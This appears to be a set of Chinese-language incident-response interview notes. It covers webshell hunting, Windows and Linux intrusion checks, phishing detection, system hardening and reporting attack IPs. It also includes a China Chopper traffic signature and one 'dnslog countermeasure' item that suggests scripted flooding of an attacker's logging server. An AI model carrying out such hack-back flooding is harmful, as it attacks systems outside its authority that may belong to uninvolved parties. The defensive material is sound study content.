清除后门和木马:对于已经植入的后门和木马程序,可以使用安全工具进行清除,或者通过手动查找和删除的方式进行清除。
加强安全防护:对于被攻击的系统,需要加强安全防护,包括更新补丁、强化口令、关闭不必要的服务等,以防止再次受到攻击。
在利用webshell或者是shell查杀工具查杀,查看tmp目录下是非有带有免杀的木马。彻底清除。再到全流量分析的机子上看,是非有经过其他的机器。
拿到攻击ip之后到线上的一些网站查看主机类型,比如360或者微步上,查看是非是傀儡机,vps跳板,或者是国内个人云主机。
服务中了webshell 怎样从日志找webshell位置,被拿shell后怎么应急,怎样快速定位shell
从日志流量文件开始,先定位位置查看敏感目录tmp usr/sbin etc/ssh ,对新创建文件,修改文件等进行查看,找特殊权限文件比如777 。
流量的话从ua和playload去分析。比如菜刀连jsp木马:第一个参数是a-q,这个是不会变的,第二个是编码,第三个是playload。日志的话从找到的shell时间点去关联分析,可以还原攻击手法
快速定位就是看进程和内存看占用时间长和占用率高的
入侵排查的流程
1、检查系统账号安全查看服务器是否有弱口令,远程管理端口
是否公开查看服务器是否有可疑账号:cmd输入lusrmgr.msc命令查看服务器是否存在隐藏账号、克隆账号结合日志,查看管理员登录时间,用户名是否存在异常
2、检查异常端口、进程检查端口连接情况,是否有远程连接、可疑连接:a、netstat -ano查看目前的网络连接,
定位可疑的ESTABLISHEDb、根据netstat 定位出的pid,再通过tasklist命令进行进程定位 tasklist | findstr “PID”
3、检查启动项、计划任务、服务win+r:输入msconfig,查看异常启动项win+r:输入regedit,打开注册表,查看开机启动项
4、检查系统相关信息win+r:输入systeminfo查看系统信息
5、日志分析win+r:输入eventvwr.msc,打开事件查看器导出应用程序日志,安全日志,系统日志,利用log parser分析
如何判断是钓鱼邮件
- 以公司某部门的名义,如安全部、综合部,使用正式的语气,内容涉及到账号和密码等敏感信息,可能带有链接地址或附件,制造紧张氛围,比如24小时内今日下班前完整账号密码修改。
- 看发件人 设备上也会报IP 上微步查一下IP是不是恶意IP 邮件的发件人和内容是不是正常的业务往来
- 附件放到沙箱里 看看是否有问题
- 有的邮件会提示你邮件由另一个邮箱代发,或者邮箱地址不是本公司的,再或者邮箱地址是qq或者163等个人邮箱的,那就更没跑了
怎么防范邮件钓鱼
定期组织员工安全讲座,提供员工的安全意识,企业内邮件系统使用可信赖的邮件服务,员工企业邮箱不得使用弱口令等,如果被感染了也要让大家清楚该做什么,例如直接拔网线等操作
针对dnslog的反制
对于常见的dnslog平台,直接屏蔽,如果是自己搭建的dnslog平台,批量的去ping,恶意制造各种垃圾dnslog数据,让他无法获取到有效的信息,具体可以写一个脚本进行批量探测存活,httplog也一样,使用爬虫批量进行request请求
网络基线加固思路
先看防护软件有没有升级,先升级最新版本,进行全盘扫毒,查看高危端口,高危服务,查看主机有没有被爆过漏洞的软件
windows:重命名administrator账户、禁用GUEST账户、清理系统无效账户、配置密码策略账户锁定策略 Linux:删除无用账号、检查特殊账号、添加口令策略、禁止root直接登录、设置隐藏文件属性、关闭不必要服务、更改ssh端口号防爆破
怎么修改TTL值
windows下是修改Default注册表文件,linux是修改etc/sysctl.conf文件
一台主机在内网进行横向攻击,你应该怎么做
确定攻击来源,是不是员工内部误操作,比如询问运维是否有自动化轮训脚本。如果没有,确定是攻击,结合时间点,根据设备信息,看一下安全事件,进程,流量,找到问题主机,开始应急响应流程:准备,检测,遏制,根除,恢复,跟踪,具体的操作要交给现场运维去处理。
SQL注入的预防
预编译
PDO
正则表达式过滤
如何查看当前进程?
Ps -ef 或 ps -aux
临时目录是哪个文件夹?
/tmp ,/var/tmp
用户列表是在哪个目录下(如何查看Linux有哪些用户)
/etc/passwd
和甲方上报 IP 地址,你要上报哪些地址呢?
上报攻击 ip 的地址,先判断是内网 ip 还是公网 ip,如果是内网ip,查看是否是业务白名单行为,若不是再上报进行判断。若是公网 ip,查看是否在白名单内,若不是查看是否是扫描器 ip,若是扫描器 ip,扫描对业务或者对研判产生了影响则可以上报,若不是且判断出是真实攻击 ip 也进行上报。